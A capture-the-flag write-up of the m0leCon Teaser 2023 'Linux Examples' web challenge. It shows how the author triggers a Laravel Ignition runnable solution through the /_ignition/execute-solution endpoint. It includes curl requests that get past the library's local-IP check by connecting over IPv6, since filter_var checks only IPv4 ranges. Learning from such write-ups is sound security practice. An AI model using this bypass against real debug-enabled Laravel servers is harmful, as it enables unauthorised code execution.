Exceptional Laravel and IPv6 bypass - Linux Examples (web) from m0leCon Teaser 2023
The m0leCon CTF Teaser took place this weekend. We played only very lightly, as most of the team was busy organizing the HackTM CTF 2023 Finals in Timișoara. I solved this challenge only, while taking a break from exam preparation :P
Description
I wrote a simple website with some linux command examples, I hope you’ll like it!
Author: @Giotino
Files: | linux-examples.zip |
Solves: | 14 |
Points: | 222 |
Approach
When first looking at a web challenge, I like to first explore its functionality without looking at the source code. Just to see what it does. And get some ideas what may be interesting to dig in further.
We first of all see that the website is not doing much.
On the main page we are presented with a couple of hrefs with linux commands and our IP address.
When clicking on one of the links it seems the command gets executed.
We can tell that the commands are really executed, because their outputs are changing, ie in ps aux
.
By the look of the URL we see that the commands have incremental IDs. If we try some higher number than the predefined ?cmd=0-5
we get this nice informative error page:
With the Exception trigger highlighted:
This finally brings us to the source code, so lets go.
Source code
Observations, in an approximate order of their making:
- wow, that’s a lot of files
- is that laravel?
- it’s still heavy, for the little it does, even for laravel
- oh most of it is just example, never used garbage
- is the only interesting stuff in
routes/web.php
?
Apart from the code already leaked in the exception, there seemingly aren’t any more functions reachable.
So where the heck is the flag? And how are we supposed to get it?
We find the flag in a weird FlagSolution
class in the app/Solutions/FlagSolution.php
file:
<?php
namespace App\Solutions;
use Spatie\Ignition\Contracts\RunnableSolution;
class FlagSolution implements RunnableSolution
{
public function getSolutionTitle(): string
{
return 'Flag';
}
public function getSolutionDescription(): string
{
return 'Get the flag';
}
public function getDocumentationLinks(): array
{
return [];
}
public function getSolutionActionDescription(): string
{
return 'Get the flag';
}
public function getRunButtonText(): string
{
return 'Press here to get the flag';
}
public function run(array $parameters = []): void
{
throw 'PTM{THIS_IS_THE_FLAG}';
}
public function getRunParameters(): array
{
return ['url'];
}
public function isRunnable(): bool
{
return true;
}
}
So we somehow need to either trigger the run()
method of this class, or get access to this file in some other way. But if it was the latter, why would they bother with this intricate solution class, right?
When googling for the base Ignition\Contracts\RunnableSolution
class, we discover its documentation. It is part of the library Ignition responsible for the nice error pages we saw before. These RunnableSolution
s allow for simple predefined one-click solutions for common Exceptions, such as missing API keys etc.
This immediately raises the idea to examine how these solutions are triggered. The documentation mentions getSolutions()
method on a given Exception needs to be present for the solution to be visible on the error page. But we don’t need the solution to show up, we just need to trigger it.
After a while I found this writeup in Chinese talking about a similar challenge. Even though Google Translate refused to translate it, we can understand from the pictures, that it is indeed possible to trigger arbitrary solution using the /_ignition/execute-solution
endpoint. We can confirm this by looking at the library source code.
So we won? Sending a request like this should do it:
curl -v --data '{"solution":"App\\Solutions\\FlagSolution"}' \
--header 'Content-Type: application/json' \
http://examples.challs.m0lecon.it/_ignition/execute-solution
Aaand no, we get an error:
Solutions can only be executed by requests from a local IP address. Please also make sure
APP_DEBUG
is set to false on ANY production environment.
Looking at the respective library source code it makes sense. Here is Ignition’s src/Http/Controllers/ExecuteSolutionController.php
:
class ExecuteSolutionController
{
use ValidatesRequests;
public function __invoke(
ExecuteSolutionRequest $request,
SolutionProviderRepository $solutionProviderRepository
) {
$this->ensureLocalEnvironment();
$this->ensureLocalRequest();
...
$solution->run($request->get('parameters', []));
}
...
public function ensureLocalRequest()
{
$ipIsPublic = filter_var(
request()->ip(),
FILTER_VALIDATE_IP,
FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE
);
if ($ipIsPublic) {
abort(403, "Solutions can only be executed by requests from a local IP address. Please also make sure `APP_DEBUG` is set to false on ANY production environment.");
}
}
}
It checks if the calling IP is from a public range!
Local IP check bypass
What’s interesting, is that the check is done using a deny method. The library checks if the IP meets some conditions, and if it does, it blocks it. filter_var
is a standard PHP function. Here it checks whether the FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE
conditions are met.
Notice the FILTER_FLAG_IPV4
condition, what about IPv6? Here I recalled one of the commands at the beginning was ip a
. Does the server have a IPv6? It does! It’s just not in the DNS. Is the server listening on IPv6 though? With the ss -l
command we can check. It does!
So if we now use IPv6, the IPv4 validator won’t match and the $ipIsPublic
variable will be empty, meaning we get to execute our solution:
curl -v \
--data '{"solution":"App\\Solutions\\FlagSolution"}' \
--header 'Content-Type: application/json' \
--header "Host: examples.challs.m0lecon.it" \
http://\[2a01:4f8:c17:9556::1\]/_ignition/execute-solution
And get the flag:
Flag: ptm{IPv6_1s_th3_futur3}
Published on